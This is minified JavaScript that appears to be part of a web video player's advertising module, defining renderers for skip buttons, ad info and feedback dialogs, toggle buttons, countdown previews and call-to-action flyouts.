g.q.J0=function(x){var T=this.uG;T.N=!0;T.Z=x.touches.length;T.C.isActive()&&(T.C.stop(),T.T=!0);x=x.touches;T.D=zrD(T,x)||x.length!=1;var t=x.item(0);T.D||!t?(T.J=Infinity,T.S=Infinity):(T.J=t.clientX,T.S=t.clientY);for(t=T.j.length=0;t<x.length;t++){var u=x.item(t);T.j.push(u.identifier)}};
g.q.YY=function(x){var T=this.uG;x=x.changedTouches.item(0);var t;if(t=JM()){t=g.FF();var u="";if(pX5())u=/Windows (?:NT|Phone) ([0-9.]+)/,u=(t=u.exec(t))?t[1]:"0.0";else if(JM())u=/(?:iPhone|iPod|iPad|CPU)\s+OS\s+(\S+)/,u=(t=u.exec(t))&&t[1].replace(/_/g,".");else if(CC())u=/Mac OS X ([0-9_.]+)/,u=(t=u.exec(t))?t[1].replace(/_/g,"."):"10";else if(bb(g.FF(),"KaiOS"))u=/(?:KaiOS)\/(\S+)/i,u=(t=u.exec(t))&&t[1];else if(QVD())u=/Android\s+([^\);]+)(\)|;)/,u=(t=u.exec(t))&&t[1];else if(y3()?V3.platform===
"Chrome OS":LC("CrOS"))u=/(?:CrOS\s+(?:i686|x86_64)\s+([0-9.]+))/,u=(t=u.exec(t))&&t[1];t=!(g.k9(u||"",8)>=0)}if(t||x&&Math.pow(x.clientX-T.J,2)+Math.pow(x.clientY-T.S,2)>25)T.K=!0};
g.q.Vo=function(x){if(this.uG){var T=this.uG,t=x.changedTouches;t&&T.N&&T.Z==1&&!T.K&&!T.T&&!T.D&&zrD(T,t)&&(T.ZZ=x,T.C.start());T.Z=x.touches.length;T.Z===0&&(T.N=!1,T.K=!1,T.j.length=0);T.T=!1}};
g.q.Zq=function(x){this.layoutId?this.JQ.executeCommand(x,this.layoutId):g.vW(new g.CS("There is undefined layoutId when calling the runCommand method.",{componentType:this.componentType}))};
g.q.createServerVe=function(x,T){this.api.createServerVe(x,this);this.api.setTrackingParams(x,T)};
g.q.logVisibility=function(x,T){this.api.hasVe(x)&&this.api.logVisibility(x,T,this.interactionLoggingClientData)};
g.q.oU=function(){this.clear(null);this.f2(this.Ee);for(var x=g.S(this.Hv),T=x.next();!T.done;T=x.next())this.f2(T.value);g.qS.prototype.oU.call(this)};g.P(FK,ZJ);
FK.prototype.init=function(x,T,t){ZJ.prototype.init.call(this,x,T,t);this.C=T;if(T.text==null&&T.icon==null)g.Vh(Error("ButtonRenderer did not have text or an icon set."));else{switch(T.style||null){case "STYLE_UNKNOWN":x="ytp-ad-button-link";break;default:x=null}x!=null&&g.uY(this.element,x);T.text!=null&&(x=g.eb(T.text),g.Y9(x)||(this.element.setAttribute("aria-label",x),this.j=new g.qS({L:"span",G:"ytp-ad-button-text",z9:x}),g.y(this,this.j),this.j.yU(this.element)));T.accessibilityData&&T.accessibilityData.accessibilityData&&
T.accessibilityData.accessibilityData.label&&!g.Y9(T.accessibilityData.accessibilityData.label)&&this.element.setAttribute("aria-label",T.accessibilityData.accessibilityData.label);T.icon!=null&&(T=kB(T.icon,this.K),T!=null&&(this.Z=new g.qS({L:"span",G:"ytp-ad-button-icon",W:[T]}),g.y(this,this.Z)),this.D?tn(this.element,this.Z.element,0):this.Z.yU(this.element))}};
FK.prototype.clear=function(){this.hide()};
FK.prototype.onClick=function(x){ZJ.prototype.onClick.call(this,x);x=g.S(hyf(this));for(var T=x.next();!T.done;T=x.next())T=T.value,this.layoutId?this.JQ.executeCommand(T,this.layoutId):g.vW(Error("Missing layoutId for button."));this.api.onAdUxClicked(this.componentType,this.layoutId)};g.P(h3,g.W);h3.prototype.oU=function(){this.Z&&g.S$(this.Z);this.C.clear();va=null;g.W.prototype.oU.call(this)};
h3.prototype.register=function(x,T){T&&this.C.set(x,T)};
var va=null;g.P(LK,ZJ);
LK.prototype.init=function(x,T,t){ZJ.prototype.init.call(this,x,T,t);x=T.hoverText||null;T=T.button&&g.N(T.button,g.nx)||null;T==null?g.vW(Error("AdHoverTextButtonRenderer.button was not set in response.")):(this.button=new FK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,void 0,void 0,void 0,void 0,this.j),g.y(this,this.button),this.button.init(sV("button"),T,this.macros),x&&this.button.element.setAttribute("aria-label",g.eb(x)),this.button.yU(this.element),this.S&&!g.sR(this.button.element,
"ytp-ad-clickable")&&g.uY(this.button.element,"ytp-ad-clickable"),this.j&&(g.uY(this.button.element,"ytp-ad-hover-text-button--clean-player"),this.api.B("clean_player_style_fix_on_web")&&g.uY(this.button.element,"ytp-ad-hover-text-button--clean-player-with-light-shadow")),x&&(this.Z=new g.qS({L:"div",G:"ytp-ad-hover-text-container"}),this.D&&(T=new g.qS({L:"div",G:"ytp-ad-hover-text-callout"}),T.yU(this.Z.element),g.y(this,T)),g.y(this,this.Z),this.Z.yU(this.element),T=Vo(x),tn(this.Z.element,T,0)),
this.show())};
LK.prototype.hide=function(){this.button&&this.button.hide();this.Z&&this.Z.hide();ZJ.prototype.hide.call(this)};
LK.prototype.show=function(){this.button&&this.button.show();ZJ.prototype.show.call(this)};g.P(a4,ZJ);
a4.prototype.init=function(x,T,t){ZJ.prototype.init.call(this,x,T,t);t=(x=T.thumbnail)&&nK(x)||"";g.Y9(t)?Math.random()<.01&&g.Vh(Error("Found AdImage without valid image URL")):(this.C?g.Zt(this.element,"backgroundImage","url("+t+")"):pI(this.element,{src:t}),pI(this.element,{alt:x&&x.accessibility&&x.accessibility.label||""}),T&&T.adRendererCommands&&T.adRendererCommands.clickCommand?this.element.classList.add("ytp-ad-clickable-element"):this.element.classList.remove("ytp-ad-clickable-element"),this.show())};
a4.prototype.clear=function(){this.hide()};g.P(gr,ZJ);g.q=gr.prototype;g.q.hide=function(){ZJ.prototype.hide.call(this);this.j&&this.j.focus()};
g.q.show=function(){this.j=document.activeElement;ZJ.prototype.show.call(this);this.K.focus()};
g.q.init=function(x,T,t){ZJ.prototype.init.call(this,x,T,t);this.Z=T;T.dialogMessages||T.title!=null?T.confirmLabel==null?g.vW(Error("ConfirmDialogRenderer.confirmLabel was not set.")):T.cancelLabel==null?g.vW(Error("ConfirmDialogRenderer.cancelLabel was not set.")):LPX(this,T):g.vW(Error("Neither ConfirmDialogRenderer.title nor ConfirmDialogRenderer.dialogMessages were set."))};
g.q.clear=function(){g.zx(this.C);this.hide()};
g.q.l$=function(){this.hide()};
g.q.w4=function(){var x=this.Z.cancelEndpoint;x&&(this.layoutId?this.JQ.executeCommand(x,this.layoutId):g.vW(Error("Missing layoutId for confirm dialog.")));this.hide()};
g.q.Oy=function(){var x=this.Z.confirmNavigationEndpoint||this.Z.confirmEndpoint;x&&(this.layoutId?this.JQ.executeCommand(x,this.layoutId):g.vW(Error("Missing layoutId for confirm dialog.")));this.hide()};g.P(Ba,ZJ);g.q=Ba.prototype;
g.q.init=function(x,T,t){ZJ.prototype.init.call(this,x,T,t);this.j=T;if(T.defaultText==null&&T.defaultIcon==null)g.vW(Error("ToggleButtonRenderer must have either text or icon set."));else if(T.defaultIcon==null&&T.toggledIcon!=null)g.vW(Error("ToggleButtonRenderer cannot have toggled icon set without a default icon."));else{if(T.style){switch(T.style.styleType){case "STYLE_UNKNOWN":case "STYLE_DEFAULT":x="ytp-ad-toggle-button-default-style";break;default:x=null}x!=null&&g.uY(this.K,x)}x={};T.defaultText?
(t=g.eb(T.defaultText),g.Y9(t)||(x.buttonText=t,this.api.Y().experiments.aU("a11y_h5_associate_survey_question")||this.C.setAttribute("aria-label",t),this.api.Y().experiments.aU("fix_h5_toggle_button_a11y")&&this.Z.setAttribute("aria-label",t))):g.Y4(this.Om,!1);T.defaultTooltip&&(x.tooltipText=T.defaultTooltip,this.C.hasAttribute("aria-label")||this.Z.setAttribute("aria-label",T.defaultTooltip));T.defaultIcon?(t=kB(T.defaultIcon),this.updateValue("untoggledIconTemplateSpec",t),T.toggledIcon?(this.jY=
!0,t=kB(T.toggledIcon),this.updateValue("toggledIconTemplateSpec",t)):(g.Y4(this.S,!0),g.Y4(this.D,!1)),g.Y4(this.C,!1)):g.Y4(this.Z,!1);g.z0(x)||this.update(x);T.isToggled&&(g.uY(this.K,"ytp-ad-toggle-button-toggled"),this.toggleButton(T.isToggled));Wa(this);this.V(this.element,"change",this.Fp);this.show()}};
g.q.onClick=function(x){this.Hv.length>0&&(this.toggleButton(!this.isToggled()),this.Fp());ZJ.prototype.onClick.call(this,x)};
g.q.Fp=function(){g.Ic(this.K,"ytp-ad-toggle-button-toggled",this.isToggled());for(var x=g.S(n$v(this,this.isToggled())),T=x.next();!T.done;T=x.next())T=T.value,this.layoutId?this.JQ.executeCommand(T,this.layoutId):g.vW(Error("Missing layoutId for toggle button."));if(this.isToggled())this.api.onAdUxClicked("toggle-button",this.layoutId);Wa(this)};
g.q.clear=function(){this.hide()};
g.q.toggleButton=function(x){g.Ic(this.K,"ytp-ad-toggle-button-toggled",x);this.C.checked=x;Wa(this)};
g.q.isToggled=function(){return this.C.checked};g.P(DJ,bj);DJ.prototype.D=function(x){if(Array.isArray(x)){x=g.S(x);for(var T=x.next();!T.done;T=x.next())T=T.value,T instanceof a_J&&this.K(T)}};g.P(yo,ZJ);g.q=yo.prototype;g.q.init=function(x,T,t){ZJ.prototype.init.call(this,x,T,t);T.reasons?T.confirmLabel==null?g.vW(Error("AdFeedbackRenderer.confirmLabel was not set.")):(T.cancelLabel==null&&g.Vh(Error("AdFeedbackRenderer.cancelLabel was not set.")),T.title==null&&g.Vh(Error("AdFeedbackRenderer.title was not set.")),D4f(this,T)):g.vW(Error("AdFeedbackRenderer.reasons were not set."))};
g.q.clear=function(){cc(this.D);cc(this.S);this.K.length=0;this.hide()};
g.q.hide=function(){this.C&&this.C.hide();this.Z&&this.Z.hide();ZJ.prototype.hide.call(this);this.j&&this.j.focus()};
g.q.show=function(){this.C&&this.C.show();this.Z&&this.Z.show();this.j=document.activeElement;ZJ.prototype.show.call(this);this.D.focus()};
g.q.z1=function(){this.api.onAdUxClicked("ad-feedback-dialog-close-button",this.layoutId);this.publish("a");this.hide()};
g.q.xzy=function(){this.hide()};
NS.prototype.yA=function(){return this.C.element};
NS.prototype.getCommand=function(){return this.Z};
NS.prototype.isChecked=function(){return this.j.checked};g.P(J3,gr);J3.prototype.l$=function(x){gr.prototype.l$.call(this,x);this.api.onAdUxClicked("ad-mute-confirm-dialog-close-button")};
J3.prototype.w4=function(x){gr.prototype.w4.call(this,x);this.api.onAdUxClicked("ad-mute-confirm-dialog-close-button")};
J3.prototype.Oy=function(x){gr.prototype.Oy.call(this,x);this.api.onAdUxClicked("ad-mute-confirm-dialog-confirm-button");this.publish("b")};g.P(CK,ZJ);g.q=CK.prototype;
g.q.init=function(x,T,t){ZJ.prototype.init.call(this,x,T,t);this.D=T;if(T.dialogMessage==null&&T.title==null)g.vW(Error("Neither AdInfoDialogRenderer.dialogMessage nor AdInfoDialogRenderer.title was set."));else{T.confirmLabel==null&&g.Vh(Error("AdInfoDialogRenderer.confirmLabel was not set."));if(x=T.closeOverlayRenderer&&g.N(T.closeOverlayRenderer,g.nx)||null)this.C=new FK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,["ytp-ad-info-dialog-close-button"],"ad-info-dialog-close-button"),
g.y(this,this.C),this.C.init(sV("button"),x,this.macros),this.C.yU(this.element);T.title&&(x=g.eb(T.title),this.updateValue("title",x));if(T.adReasons)for(x=T.adReasons,t=0;t<x.length;t++){var u=Vo(x[t]);if(!g.Y9(u.textContent)){var H=KI("LI");H.appendChild(u);this.QU.appendChild(H)}}else g.Y4(this.QU,!1);T.dialogMessage&&(x=Vo(T.dialogMessage,!0),this.AQ.appendChild(x));T.confirmLabel&&(x=g.eb(T.confirmLabel),this.updateValue("confirmLabel",x));T.muteAdRenderer&&(T=g.N(T.muteAdRenderer,g.nx)||null)&&
(x=T.navigationEndpoint&&g.N(T.navigationEndpoint,Iwb)||null,t=T.navigationEndpoint&&g.N(T.navigationEndpoint,Kd9)||null,x==null&&t==null?g.Vh(Error("AdInfoDialogRenderer.muteAdRenderer was specified but contains neither an AdFeedbackEndpoint, nor a ConfirmDialogEndpoint.")):(x?ySD(this,x):t&&Nm4(this,t),this.j=new FK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,["ytp-ad-info-dialog-mute-button"],"button",!0),g.y(this,this.j),this.j.init(sV("button"),T,this.macros),this.j.listen("click",
this.tgW,this),this.j.yU(this.tQ)));JS5(this)}};
g.q.clear=function(){cc(this.S);this.hide()};
g.q.hide=function(){this.Z?this.Z.hide():this.K&&this.K.hide();this.C&&this.C.hide();this.j&&this.j.hide();ZJ.prototype.hide.call(this);this.jY&&this.jY.focus()};
g.q.show=function(){this.C&&this.C.show();this.j&&this.j.show();if(!this.nf){for(var x=g.S(this.D&&this.D.impressionEndpoints||[]),T=x.next();!T.done;T=x.next())T=T.value,this.layoutId?this.JQ.executeCommand(T,this.layoutId):g.vW(Error("Missing layoutId for ad info dialog."));this.nf=!0}this.jY=document.activeElement;ZJ.prototype.show.call(this);this.S.focus()};
g.q.Ne=function(){if(this.D&&this.D.confirmServiceEndpoint){var x=this.D.confirmServiceEndpoint;this.layoutId?this.JQ.executeCommand(x,this.layoutId):g.vW(Error("Missing layoutId for ad info dialog."))}this.api.onAdUxClicked("ad-info-dialog-close-button",this.layoutId);this.publish("d");this.hide()};
g.q.tgW=function(){var x=this.Z?this.Z:this.K;x&&!x.lN&&(this.hide(),x.show())};g.P(Qo,LK);Qo.prototype.init=function(x,T,t){LK.prototype.init.call(this,x,T,t);x=T.button&&g.N(T.button,g.nx)||null;x!=null&&(f_3(this,x,t),this.api.B("enable_ad_pod_index_autohide")&&this.element.classList.add("ytp-ad-info-hover-text-button--clean-player"),this.show())};
Qo.prototype.hide=function(){this.button&&this.button.hide();this.C&&this.C.hide();LK.prototype.hide.call(this)};
Qo.prototype.show=function(){this.button&&this.button.show();LK.prototype.show.call(this)};
Qo.prototype.clear=function(){this.hide()};g.P(pK,ZJ);
pK.prototype.init=function(x,T,t){ZJ.prototype.init.call(this,x,T,t);this.C=T;this.isTemplated()||g.$U(this.element,jb(this.C));if(T.backgroundImage&&(x=(x=T.backgroundImage.thumbnail)?nK(x):"",t=(t=this.api.getVideoData(1))&&t.KB,x&&t&&(this.element.style.backgroundImage="url("+x+")",this.element.style.backgroundSize="100%"),T.style&&T.style.adTextStyle))switch(T.style.adTextStyle.fontSize){case "AD_FONT_SIZE_MEDIUM":this.element.style.fontSize="26px"}(x=g.Kd(T.targetId))&&this.element.setAttribute("data-tooltip-target-id",x);
T&&T.adRendererCommands&&T.adRendererCommands.clickCommand?this.element.classList.add("ytp-ad-clickable-element"):this.element.classList.remove("ytp-ad-clickable-element");this.show()};
pK.prototype.isTemplated=function(){return this.C.isTemplated||!1};
pK.prototype.clear=function(){this.hide()};var ssV={seekableStart:0,seekableEnd:1,current:0};g.P(fK,ZJ);fK.prototype.clear=function(){this.dispose()};g.P(g.XK,g.W);g.q=g.XK.prototype;g.q.show=function(x){this.state!==1&&this.state!==2&&(this.state===4&&this.cO(),this.state===5?(this.element.show(),this.state=null,this.delay.stop(),this.C&&this.C()):this.element.lN||(xr(this,!0),this.state=1,x?this.delay.start(x):this.cO()))};
g.q.hide=function(){this.state!==4&&(this.state===1||this.state===2?(this.element.hide(),this.state=null,this.delay.stop()):this.element.lN&&(xr(this,!0),this.state=4,this.delay.start(this.j)))};
g.q.cO=function(){switch(this.state){case 1:this.element.show();this.state=2;this.delay.start(10);break;case 2:xr(this,!1);this.state=3;this.delay.start(this.Z);break;case 3:this.state=null;this.C&&this.C();break;case 4:this.element.hide();xr(this,!1);this.state=5;this.delay.start(0);break;case 5:if(this.state=null,this.onHidden)this.onHidden()}};
g.q.stop=function(){for(;this.state!==null&&this.state!==5;)this.delay.stop(),this.cO()};
g.q.oU=function(){this.element.T9()||this.element.element.removeAttribute("aria-hidden");g.W.prototype.oU.call(this)};g.P(TK,fK);g.q=TK.prototype;
g.q.init=function(x,T,t){fK.prototype.init.call(this,x,T,t);x=T.durationMilliseconds;typeof x==="number"&&x<0&&g.vW(Error("durationMilliseconds was specified incorrectly in AdPreviewRenderer with a value of: "+x));this.SY&&(this.K?g.uY(this.Z.element,"modern-countdown-next-to-thumbnail"):g.uY(this.Z.element,"countdown-next-to-thumbnail"));x=T.durationMilliseconds;this.QU=x==null||x===0?this.C.Xv():x;if(T.templatedCountdown)var u=T.templatedCountdown.templatedAdText;else T.staticPreview&&(u=T.staticPreview);
this.j.init(sV("ad-text"),u,t);(u=this.api.getVideoData(1))&&u.KB&&T.thumbnail?this.D.init(sV("ad-image"),T.thumbnail,t):(this.jY.hide(),this.K&&this.SY&&g.uY(this.j.element,"ytp-ad-preview-text-modern-postroll"))};
g.q.clear=function(){this.hide()};
g.q.hide=function(){this.Z.hide();this.j.hide();this.D.hide();KK(this);fK.prototype.hide.call(this)};
g.q.show=function(){wr(this);this.Z.show();this.j.show();this.D.show();fK.prototype.show.call(this)};
g.q.ZX=function(){this.hide()};
g.q.Wm=function(){if(this.C!=null){var x=this.C.getProgressState();x!=null&&x.current!=null&&(x=1E3*x.current,!this.AQ&&x>=this.QU?(this.Om.hide(),this.AQ=!0,this.publish("i")):this.j&&this.j.isTemplated()&&(x=Math.max(0,Math.ceil((this.QU-x)/1E3)),x!=this.tQ&&(OV(this.j,{TIME_REMAINING:String(x)}),this.tQ=x)))}};g.P(t9,fK);g.q=t9.prototype;
g.q.init=function(x,T,t){fK.prototype.init.call(this,x,T,t);if(T.image&&T.image.thumbnail)if(T.headline)if(T.description)if((x=T.actionButton&&g.N(T.actionButton,g.nx))&&x.navigationEndpoint){var u=this.api.getVideoData(2);if(u!=null)if(T.image&&T.image.thumbnail){var H=T.image.thumbnail.thumbnails;H!=null&&H.length>0&&g.Y9(g.Kd(H[0].url))&&(H[0].url=u.profilePicture)}else g.Vh(Error("FlyoutCtaRenderer does not have image.thumbnail."));this.j.init(sV("ad-image"),T.image,t);this.D.init(sV("ad-text"),
T.headline,t);this.K.init(sV("ad-text"),T.description,t);this.Z.init(sV("button"),x,t);t=Qw(this.Z.element);Ct(this.Z.element,t+" This link opens in new tab");this.jY=x.navigationEndpoint;this.api.PJ()||this.show();this.api.Y().B("enable_larger_flyout_cta_on_desktop")&&(this.Um("ytp-flyout-cta").classList.add("ytp-flyout-cta-large"),this.Um("ytp-flyout-cta-body").classList.add("ytp-flyout-cta-body-large"),this.Um("ytp-flyout-cta-headline-container").classList.add("ytp-flyout-cta-headline-container-dark-background"),
this.Um("ytp-flyout-cta-description-container").classList.add("ytp-flyout-cta-description-container-dark-background"),this.Um("ytp-flyout-cta-text-container").classList.add("ytp-flyout-cta-text-container-large"),this.Um("ytp-flyout-cta-action-button-container").classList.add("ytp-flyout-cta-action-button-container-large"),this.Z.element.classList.add("ytp-flyout-cta-action-button-large"),this.Z.element.classList.add("ytp-flyout-cta-action-button-rounded-large"),this.Um("ytp-flyout-cta-icon-container").classList.add("ytp-flyout-cta-icon-container-large"));
this.api.addEventListener("playerUnderlayVisibilityChange",this.Gv.bind(this));this.Om=T.startMs||0;wr(this)}else g.vW(Error("FlyoutCtaRenderer has no valid action button."));else g.vW(Error("FlyoutCtaRenderer has no description AdText."));else g.vW(Error("FlyoutCtaRenderer has no headline AdText."));else g.Vh(Error("FlyoutCtaRenderer has no image."))};
g.q.onClick=function(x){fK.prototype.onClick.call(this,x);this.api.pauseVideo();!g.ux(this.Z.element,x.target)&&this.jY&&(this.layoutId?this.JQ.executeCommand(this.jY,this.layoutId):g.vW(Error("Missing layoutId for flyout cta.")))};
g.q.Wm=function(){if(this.C){var x=this.C.getProgressState();(x&&x.current||this.QU)&&1E3*x.current>=this.Om&&(KK(this),g.H$(this.element,"ytp-flyout-cta-inactive"),this.Z.element.removeAttribute("tabIndex"))}};
g.q.ZX=function(){this.clear()};
g.q.clear=function(){this.hide();this.api.removeEventListener("playerUnderlayVisibilityChange",this.Gv.bind(this))};
g.q.show=function(){this.Z&&this.Z.show();fK.prototype.show.call(this)};
g.q.hide=function(){this.Z&&this.Z.hide();fK.prototype.hide.call(this)};
g.q.Gv=function(x){x=="hidden"?this.show():this.hide()};g.P(s3,ZJ);g.q=s3.prototype;
g.q.init=function(x,T,t){ZJ.prototype.init.call(this,x,T,t);this.C=T;if(this.C.rectangle)for(x=this.C.likeButton&&g.N(this.C.likeButton,PN),T=this.C.dislikeButton&&g.N(this.C.dislikeButton,PN),this.j.init(sV("toggle-button"),x,t),this.Z.init(sV("toggle-button"),T,t),this.V(this.element,"change",this.AE),this.K.show(100),this.show(),t=g.S(this.C&&this.C.impressionCommands||[]),x=t.next();!x.done;x=t.next())x=x.value,this.layoutId?this.JQ.executeCommand(x,this.layoutId):g.vW(Error("Missing layoutId for instream user sentiment."))};
g.q.clear=function(){this.hide()};
g.q.hide=function(){this.j.hide();this.Z.hide();ZJ.prototype.hide.call(this)};
g.q.show=function(){this.j.show();this.Z.show();ZJ.prototype.show.call(this)};
g.q.AE=function(){FUJ(this.element,"ytp-ad-instream-user-sentiment-selected");this.C.postMessageAction&&this.api.XW("onYtShowToast",this.C.postMessageAction);this.K.hide()};
g.q.onClick=function(x){this.Hv.length>0&&this.AE();ZJ.prototype.onClick.call(this,x)};g.P(uJ,g.W);g.q=uJ.prototype;g.q.oU=function(){this.reset();g.W.prototype.oU.call(this)};
g.q.reset=function(){g.zx(this.K);this.D=!1;this.C&&this.C.stop();this.T.stop();this.j&&(this.j=!1,this.N.play())};
g.q.start=function(){this.reset();this.K.V(this.Z,"mouseover",this.s7,this);this.K.V(this.Z,"mouseout",this.w2,this);this.ZZ&&(this.K.V(this.Z,"focusin",this.s7,this),this.K.V(this.Z,"focusout",this.w2,this));this.C?this.C.start():(this.D=this.j=!0,g.Zt(this.Z,{opacity:this.S}))};
g.q.s7=function(){this.j&&(this.j=!1,this.N.play());this.T.stop();this.C&&this.C.stop()};
g.q.w2=function(){this.D?this.T.start():this.C&&this.C.start()};
g.q.kF=function(){this.j||(this.j=!0,this.J.play(),this.D=!0)};var xR3=[new $r("b.f_",!1,0),new $r("j.s_",!1,2),new $r("r.s_",!1,4),new $r("e.h_",!1,6),new $r("i.s_",!0,8),new $r("s.t_",!1,10),new $r("p.h_",!1,12),new $r("s.i_",!1,14),new $r("f.i_",!1,16),new $r("a.b_",!1,18),new $r("a.o_",!1),new $r("g.o_",!1,22),new $r("p.i_",!1,24),new $r("p.m_",!1),new $r("i.k_",!0,28),new $r("n.k_",!0,20),new $r("i.f_",!1),new $r("a.s_",!0),new $r("m.c_",!1),new $r("n.h_",!1,26),new $r("o.p_",!1)].reduce(function(x,T){x[T.Z]=T;return x},{});g.P(e1,fK);g.q=e1.prototype;
g.q.init=function(x,T,t){fK.prototype.init.call(this,x,T,t);this.jY=T;(this.Om=oe4(this))&&g.Vh(Error("hasAdControlInClickCommands_ is true."));if(!T||g.z0(T))g.vW(Error("SkipButtonRenderer was not specified or empty."));else if(!T.message||g.z0(T.message))g.vW(Error("SkipButtonRenderer.message was not specified or empty."));else{x=this.D?{iconType:"SKIP_NEXT_NEW"}:{iconType:"SKIP_NEXT"};T=kB(x);T==null?g.vW(Error("Icon for SkipButton was unable to be retrieved. Icon.IconType: "+x.iconType+".")):
(this.K=new g.qS({L:"button",DZ:[this.D?"ytp-ad-skip-button-modern":"ytp-ad-skip-button","ytp-button"],W:[{L:"span",G:this.D?"ytp-ad-skip-button-icon-modern":"ytp-ad-skip-button-icon",W:[T]}]}),g.y(this,this.K),this.K.yU(this.j.element),this.Z=new pK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,"ytp-ad-skip-button-text"),this.D&&this.Z.element.classList.add("ytp-ad-skip-button-text-centered"),this.Z.init(sV("ad-text"),this.jY.message,t),g.y(this,this.Z),tn(this.K.element,this.Z.element,
0));var u=u===void 0?null:u;t=this.api.Y();!(this.Hv.length>0)&&t.Z&&(Tw?0:"ontouchstart"in document.documentElement&&(ca4()||A8()))&&(this.f2(this.Ee),u&&this.f2(u),this.Hv=[this.V(this.element,"touchstart",this.J0,this),this.V(this.element,"touchmove",this.YY,this),this.V(this.element,"touchend",this.Vo,this)])}};
g.q.clear=function(){this.QU.reset();this.hide()};
g.q.hide=function(){this.j.hide();this.Z&&this.Z.hide();KK(this);fK.prototype.hide.call(this)};
g.q.onClick=function(x){if(this.K!=null){if(x){var T=x||window.event;T.returnValue=!1;T.preventDefault&&T.preventDefault()}var t;if(KPH(x,{contentCpn:((t=this.api.getVideoData(1))==null?void 0:t.clientPlaybackNonce)||""})===0)this.api.XW("onAbnormalityDetected");else if(fK.prototype.onClick.call(this,x),this.publish("j"),this.api.XW("onAdSkip"),this.AQ||!this.Om)this.api.onAdUxClicked(this.componentType,this.layoutId)}};
g.q.hg=function(x){if(!this.AQ)return this.Om&&E3("SkipButton click commands not pruned while ALC exist"),x;var T,t=(T=g.N(x,g.lJ))==null?void 0:T.commands;if(!t)return x;x=[];for(T=0;T<t.length;T++){var u=t[T];u.adLifecycleCommand&&T$i(u.adLifecycleCommand)||u.pingingEndpoint||u.adPingingEndpoint||x.push(u)}return{commandExecutorCommand:{commands:x}}};
g.q.show=function(){this.QU.start();this.j.show();this.Z&&this.Z.show();wr(this);fK.prototype.show.call(this);this.tQ&&this.api.Y().B("enable_skip_to_next_messaging")&&this.api.publish("showpromotooltip",this.element)};
g.q.ZX=function(){this.publish("k")};
g.q.Wm=function(){};g.P(m6,fK);g.q=m6.prototype;
g.q.init=function(x,T,t){fK.prototype.init.call(this,x,T,t);x=T&&T.preskipRenderer&&g.N(T.preskipRenderer,Lx)||{};(x=g.z0(x)?null:x)?(this.D=x.durationMilliseconds!=null&&x.durationMilliseconds!==void 0?x.durationMilliseconds:5E3,this.Z=new TK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.C,XT(this.api.Y().experiments,"preskip_button_style_ads_backend")=="countdown_next_to_thumbnail"&&Un(this.api.Y())),this.Z.init(sV("preskip-component"),x,t),on(this.Z),g.y(this,this.Z),this.Z.yU(this.element)):
T.skipOffsetMilliseconds&&(this.D=T.skipOffsetMilliseconds);x=T&&T.skippableRenderer&&g.N(T.skippableRenderer,add)||{};x=g.z0(x)?null:x;x==null?g.vW(Error("SkipButtonRenderer was not set in player response.")):(this.j=new e1(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.C,this.jY),this.j.init(sV("skip-button"),x,t),g.y(this,this.j),this.j.yU(this.element),this.api.Y().experiments.aU("enable_skip_to_next_messaging")&&(T=g.Kd(T.targetId))&&(t=this.j,t.K!=null&&(t.tQ=!0,t.K.element.setAttribute("data-tooltip-target-id",
T),t.K.element.setAttribute("data-tooltip-target-fixed",""))),this.show())};
g.q.show=function(){this.K&&this.j?this.j.show():this.Z&&this.Z.show();wr(this);fK.prototype.show.call(this)};
g.q.ZX=function(){};
g.q.clear=function(){this.Z&&this.Z.clear();this.j&&this.j.clear();KK(this);fK.prototype.hide.call(this)};
g.q.hide=function(){this.Z&&this.Z.hide();this.j&&this.j.hide();KK(this);fK.prototype.hide.call(this)};
g.q.Wm=function(){1E3*this.C.getProgressState().current>=this.D&&trV(this,!0)};g.P(dJ,FK);dJ.prototype.init=function(x,T,t){FK.prototype.init.call(this,x,T,t);x=!1;T.text!=null&&(x=g.eb(T.text),x=!g.Y9(x));x?T.navigationEndpoint==null?g.Vh(Error("No visit advertiser clickthrough provided in renderer,")):T.style!=="STYLE_UNKNOWN"?g.Vh(Error("Button style was not a link-style type in renderer,")):this.show():g.Vh(Error("No visit advertiser text was present in the renderer."))};g.P(Ma,ZJ);
Ma.prototype.init=function(x,T,t){ZJ.prototype.init.call(this,x,T,t);x=T.text;g.Y9(jb(x))?g.Vh(Error("SimpleAdBadgeRenderer has invalid or empty text")):(x&&x.text&&(T=x.text,this.j&&!this.Z&&(T=this.api.Y(),T=x.text+" "+(T&&T.Z?"\u2022":"\u00b7")),T={text:T,isTemplated:x.isTemplated},x.style&&(T.style=x.style),x.targetId&&(T.targetId=x.targetId),x=new pK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ),x.init(sV("simple-ad-badge"),T,t),x.yU(this.element),g.y(this,x)),this.show())};
Ma.prototype.clear=function(){this.hide()};g.P(A9,u9);g.P(Rn,g.$B);g.q=Rn.prototype;g.q.Xv=function(){return this.durationMs};
g.q.stop=function(){this.C&&this.uI.f2(this.C)};
g.q.Bk=function(x){this.Z={seekableStart:0,seekableEnd:this.durationMs/1E3,current:x.current};this.publish("h")};
g.q.getProgressState=function(){return this.Z};
g.q.t0=function(x){g.j1(x,2)&&this.publish("g")};g.P(Pu,g.$B);g.q=Pu.prototype;g.q.Xv=function(){return this.durationMs};
g.q.start=function(){this.C||(this.C=!0,this.iI.start())};
g.q.stop=function(){this.C&&(this.C=!1,this.iI.stop())};
g.q.Bk=function(){this.Uk+=100;var x=!1;this.Uk>this.durationMs&&(this.Uk=this.durationMs,this.iI.stop(),x=!0);this.Z={seekableStart:0,seekableEnd:this.durationMs/1E3,current:this.Uk/1E3};this.publish("h");x&&this.publish("g")};
g.q.getProgressState=function(){return this.Z};g.P(Yr,fK);g.q=Yr.prototype;g.q.init=function(x,T,t){fK.prototype.init.call(this,x,T,t);var u;if(T==null?0:(u=T.templatedCountdown)==null?0:u.templatedAdText){x=T.templatedCountdown.templatedAdText;if(!x.isTemplated){g.Vh(Error("AdDurationRemainingRenderer has no templated ad text."));return}this.Z=new pK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ);this.Z.init(sV("ad-text"),x,{});this.Z.yU(this.element);g.y(this,this.Z)}this.show()};
g.q.clear=function(){this.hide()};
g.q.hide=function(){KK(this);fK.prototype.hide.call(this)};
g.q.ZX=function(){this.hide()};
